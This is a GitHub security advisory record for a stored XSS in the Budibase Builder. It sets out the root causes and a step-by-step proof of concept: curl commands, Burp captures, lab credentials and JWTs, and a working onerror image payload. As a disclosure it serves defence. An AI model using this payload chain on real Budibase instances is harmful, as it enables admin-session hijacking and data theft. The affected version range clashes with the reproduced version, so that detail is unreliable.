{"id":"GHSA-r2q3-7m4h-63qg","summary":"Budibase: Cross-privilege Stored XSS in the Budibase Builder via broken HTML-escaping in `jsonFormatter.format()` rendered through `{@html}` in the CSP-less Builder origin","details":"## Description\n\n### Summary\n\nA **low-privileged application end-user** (role `BASIC` - **not** a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a **builder or admin** later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section **Formula** column editor, or any binding drawer), the stored value is rendered as **raw HTML** and the attacker's JavaScript executes in the Builder's origin.\n\nThe Builder SPA is served by nginx with **no Content-Security-Policy** (the CSP middleware only decorates the server-rendered *published-app* document, not `/builder/`). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a **cross-privilege stored XSS** (app end-user → builder/admin), i.e. full workspace takeover, not self-XSS.\n\n### Details\n\n**Root cause 1 - the escaper is a no-op.**\n`packages/frontend-core/src/utils/jsonFormatter.ts` (`format()`):\n\n```js\njsonString = jsonString\n  .replace(/&/g, \"&\")   // no-op: replaces \"&\" with \"&\"  (should be \"&amp;\")\n  .replace(/\u003c/g, \"\u003c\")   // no-op                          (should be \"&lt;\")\n  .replace(/\u003e/g, \"\u003e\")   // no-op                          (should be \"&gt;\")\n\nreturn jsonString.replace(\n  /(\"(\\\\u[a-zA-Z0-9]{4}|\\\\[^u]|[^\\\\\"])*\"(\\s*:)?|\\b(true|false|null)\\b|-?\\d+...)/g,\n  (match) =\u003e {\n    if (/^\"/.test(match)) {\n      if (/:$/.test(match)) { color = colors.keyColor }                        // KEY: NOT escaped\n      else { match = '\"' + escapeHtml(match.substr(1, match.length - 2)) + '\"' } // string VALUE: escaped\n    }\n    return `\u003cspan style=\"...\"\u003e${match}\u003c/span\u003e`\n  })\n```\n\nOnly quoted JSON *string values* are passed through `escapeHtml`. Everything else is emitted verbatim, because the leading `.replace(/&/g,\"&\")…` chain replaces each character with itself. Two consequences:\n\n1. A **raw, non-JSON string** (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned **completely un-escaped**.\n2. **Object keys** are never escaped.\n\n**Root cause 2 - the output is injected with `{@html}`.**\n`packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte`:\n\n- line 116: `{@html logLine.log}`\n- line 128: `{@html highlightedResult}`\n\n`highlightedResult` is the output of `JsonFormatter.format()`, so the un-escaped attacker string is inserted into the DOM as live markup.\n\n**Root cause 3 - binding output is not entity-escaped upstream.**\nEvery `{{ … }}` statement is wrapped by the `ALL` helper in `packages/string-templates/src/helpers/index.ts`, which returns a `Handlebars.SafeString`; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/`{@html}` sink.\n\n**Root cause 4 - no CSP on the Builder.**\n`GET /builder/*` is served as a static SPA by nginx with **no** `Content-Security-Policy` header (verified live below). The `contentSecurityPolicy` middleware (`packages/backend-core/src/middleware/contentSecurityPolicy.ts`) only sets a nonce-based CSP on the server-rendered *published-app* document (`serveApp`). So in the Builder origin there is no `script-src` restriction and inline event handlers run freely.\n\n**Cross-privilege data channel.**\nInternal-table dev/prod data live in separate databases, but **external datasources are queried live and shared** between the published app (where low-priv users write) and the Builder's dev preview (where the value is rendered). A `BASIC` app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder's evaluation context. `RowUtils.generateGoldenSample()` even *prefers the longest string per column*, guaranteeing a long payload is the sample the Preview evaluates.\n\n**Payload shape note.** `jsonFormatter.format()` tokenises quoted strings, digits and `true/false/null` into `\u003cspan\u003e`s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. `\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e` - survives verbatim and executes.\n\n### PoC\n\n**Environment used for this reproduction (all values real / unredacted):**\n\n| Item | Value |\n|------|-------|\n| Target | `http://127.0.0.1:3014` (self-host single image, Budibase `v3.44.0`, commit `d1ed6085`) |\n| Dev app id | `app_dev_cc322a9cd27a492eb934f43b146c6e81` |\n| Prod app id | `app_cc322a9cd27a492eb934f43b146c6e81` |\n| External Postgres table | `datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl` |\n| Attacker (low-priv `BASIC`) | `lowuser@budibase.local` / `LowUser!2026#bb` |\n| Victim (builder/admin) | `admin@budibase.local` / `LabAdmin!2026#bb` |\n\n---\n\n#### Step 0 - (precondition, performed once by the builder) a data-collection app grants `BASIC` write on the table\n\n```bash\n# grant the low user BASIC role on the app\ncurl -s -b creds/admin.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/users \\\n  -d '{\"_id\":\"us_df036f58299242608f665700b1618057\",\"_rev\":\"1-f24520b49fae0a6f4a23dced7a82fcc8\",\"email\":\"lowuser@budibase.local\",\"builder\":{\"global\":false},\"admin\":{\"global\":false},\"roles\":{\"app_cc322a9cd27a492eb934f43b146c6e81\":\"BASIC\"},\"tenantId\":\"default\",\"status\":\"active\"}'\n\n# open write permission on the table to BASIC (typical of feedback/survey/contact apps)\ncurl -s -b creds/admin.cookies -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" -X POST \\\n  \"http://127.0.0.1:3014/api/permission/BASIC/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/write\"\n\ncurl -s -b creds/admin.cookies -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" -X POST \\\n  \"http://127.0.0.1:3014/api/applications/app_dev_cc322a9cd27a492eb934f43b146c6e81/publish\"\n```\n\n---\n\n#### Step 1 - ATTACKER logs in (low-priv `BASIC` user)\n\n```bash\ncurl -s -i -c creds/low.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/auth/default/login \\\n  -d '{\"username\":\"lowuser@budibase.local\",\"password\":\"LowUser!2026#bb\"}'\n```\n\n**Burp - Request**\n\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: 127.0.0.1:3014\nContent-Type: application/json\nContent-Length: 71\n\n{\"username\":\"lowuser@budibase.local\",\"password\":\"LowUser!2026#bb\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:20:45 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 30\nConnection: keep-alive\nx-budibase-tenant-id: default\nSet-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly\nSet-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly\nx-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA\n\n{\"message\":\"Login successful\"}\n```\n\nThe low user's session JWT (decoded payload) confirms **`builder`/`admin` are absent** - this is an ordinary app user:\n\n```json\n{\"userId\":\"us_df036f58299242608f665700b1618057\",\"sessionId\":\"4aacd94d0b444b81937d13150251 29e0\",\"tenantId\":\"default\",\"email\":\"lowuser@budibase.local\",\"iat\":1788333645,\"exp\":1788938445}\n```\n\n---\n\n#### Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id)\n\n```bash\ncurl -s -i -b creds/low.cookies \\\n  -H \"x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81\" \\\n  -H \"Content-Type: application/json\" -X POST \\\n  \"http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows\" \\\n  -d '{\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",\"email\":\"rx@x.tld\"}'\n```\n\n**Burp - Request**\n\n```http\nPOST /api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows HTTP/1.1\nHost: 127.0.0.1:3014\nx-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81\nContent-Type: application/json\nCookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY\nContent-Length: 87\n\n{\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",\"email\":\"rx@x.tld\"}\n```\n\n**Burp - Response**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:20:53 GMT\nContent-Type: application/json; charset=utf-8\nContent-Length: 196\nConnection: keep-alive\nx-budibase-tenant-id: default\n\n{\"id\":7,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",\"email\":\"rx@x.tld\",\"_id\":\"%5B7%5D\",\"tableId\":\"datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl\",\"_rev\":\"rev\"}\n```\n\nThe payload is stored verbatim as **row id=7** in the shared Postgres table. The server performs **no output-encoding or sanitisation** of the `name` value.\n\n---\n\n#### Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row)\n\n```bash\n# admin login\ncurl -s -i -c creds/admin.cookies -H \"Content-Type: application/json\" -X POST \\\n  http://127.0.0.1:3014/api/global/auth/default/login \\\n  -d '{\"username\":\"admin@budibase.local\",\"password\":\"LabAdmin!2026#bb\"}'\n\n# admin reads the row set from the DEV plane (what the Builder renders)\ncurl -s -b creds/admin.cookies \\\n  -H \"x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81\" \\\n  \"http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows\"\n```\n\n**Burp - admin login Response (real admin session JWT)**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nx-budibase-tenant-id: default\nSet-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly\nSet-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly\nx-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk\n\n{\"message\":\"Login successful\"}\n```\n\n**Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege)**\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\n\n[{\"id\":1,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",...},\n {\"id\":2,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",...},\n {\"id\":5,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",...},\n {\"id\":6,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",...},\n {\"id\":7,\"name\":\"\u003cimg src=x onerror=alert(window.xssproof=document.domain)\u003e\",\"email\":\"rx@x.tld\",...}]\n```\n\n---\n\n#### Step 4 - confirm the Builder origin ships NO Content-Security-Policy\n\n```bash\ncurl -s -D - -o /dev/null http://127.0.0.1:3014/builder/\n```\n\n**Burp - Response (note the complete absence of any `Content-Security-Policy` header)**\n\n```http\nHTTP/1.1 200 OK\nServer: nginx\nDate: Wed, 02 Sep 2026 07:21:09 GMT\nContent-Type: text/html; charset=utf-8\nTransfer-Encoding: chunked\nConnection: keep-alive\nVary: Accept-Encoding\nLast-Modified: Thu, 27 Aug 2026 14:26:10 GMT\nCache-Control: max-age=0\nContent-Encoding: gzip\n```\n\n---\n\n#### Step 5 - VICTIM triggers execution (builder/admin, in the browser)\n\nLogged into the Builder as `admin@budibase.local`, the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column:\n\n1. Open the app → **Data tables** → datasource **LabPG** → table **`users_tbl`**.\n2. Click the **+** to add a column, name it (e.g. `xsscol`), set **Type = Formula**.\n3. Click the **lightning** (binding) icon on the *Formula* field → the binding drawer opens.\n4. In the code editor type: `{{ name }}`\n5. Click the **play** (▶ / evaluate) button.\n\nThe right-hand **Preview** panel renders the stored value through `JsonFormatter.format()` → `{@html}`. The injected `\u003cimg\u003e` is inserted as a **live DOM element**; its `onerror` fires and the attacker's JavaScript runs in the Builder origin.\n\n**Observed result (captured live in the reproduction):**\n\n```\nwindow.__xss_calls = [\"localhost\"]     // alert() was called with document.domain\nwindow.xssproof    = \"localhost\"       // attacker JS mutated the Builder's window object\ndocument.domain    = \"localhost\"       // execution context = the BUILDER origin\nlocation.href      = http://localhost:3014/builder/workspace/app_dev_cc322a9cd27a492eb934f43b146c6e81/data/table/...\n```\n\n**Popup - `alert(document.domain)` firing in the Builder origin, with the injected `\u003cimg\u003e` visible as a broken-image element in the Preview panel:**\n\n![F4 stored XSS – alert popup in the Budibase Builder](./F4-xss-alert-popup.png)\n\u003cimg width=\"1536\" height=\"674\" alt=\"F4-xss-alert-popup\" src=\"https://github.com/user-attachments/assets/c9f7932b-0b1c-4165-863f-24e0bf8dceb7\" /\u003e\n\n\n\u003e Screenshot note: the browser used for automated reproduction is headless, and native `alert()` dialogs are not captured by page-level screenshots. `window.alert` was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to `alert()`. The execution itself is 100% genuine and unmodified - the payload's `onerror` handler ran, called `alert()`, and set `window.xssproof` on the real Builder `window` (see the observed values above). The broken-image glyph in the **Preview** pane is the attacker-controlled `\u003cimg src=x\u003e` inserted by the `{@html}` sink.\n\n### Impact\n\n**Type:** Cross-privilege **Stored / persistent Cross-Site Scripting (XSS)** in the application builder.\n\n**Who is impacted:** any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any \"data collection\" app. On such apps the writer can be a `BASIC` app user or, when the write screen is public, an **unauthenticated** visitor.\n\n**What the attacker gains:** the payload executes in the **Builder/admin session**, an origin with **no CSP**. From there the attacker's JavaScript can silently drive every authenticated Builder API in the victim's context, e.g.:\n\n- create a REST/SQL **datasource** or an **automation** step that runs server-side JavaScript / Bash → **remote code execution** on the server;\n- read or modify **every table** in the workspace (full data exfiltration / tampering);\n- **escalate** the attacker's own account (or create a new one) to builder/admin;\n- pivot to the underlying CouchDB/MinIO/Redis via server-side automation.","aliases":["CVE-2026-122244"],"modified":"2026-11-21T00:00:03.997775344Z","published":"2026-11-20T23:49:47Z","database_specific":{"github_reviewed_at":"2026-11-20T23:49:47Z","nvd_published_at":"2026-11-20T17:18:07Z","cwe_ids":["CWE-1021","CWE-116","CWE-79"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-r2q3-7m4h-63qg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-122244"},{"type":"WEB","url":"https://github.com/Budibase/budibase/commit/5f37fb43728639c540cc7233283f1100e9315424"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"},{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/v3.50.0"},{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/v4.0.0"}],"affected":[{"package":{"name":"@budibase/server","ecosystem":"npm","purl":"pkg:npm/%40budibase/server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r2q3-7m4h-63qg/GHSA-r2q3-7m4h-63qg.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N"}]}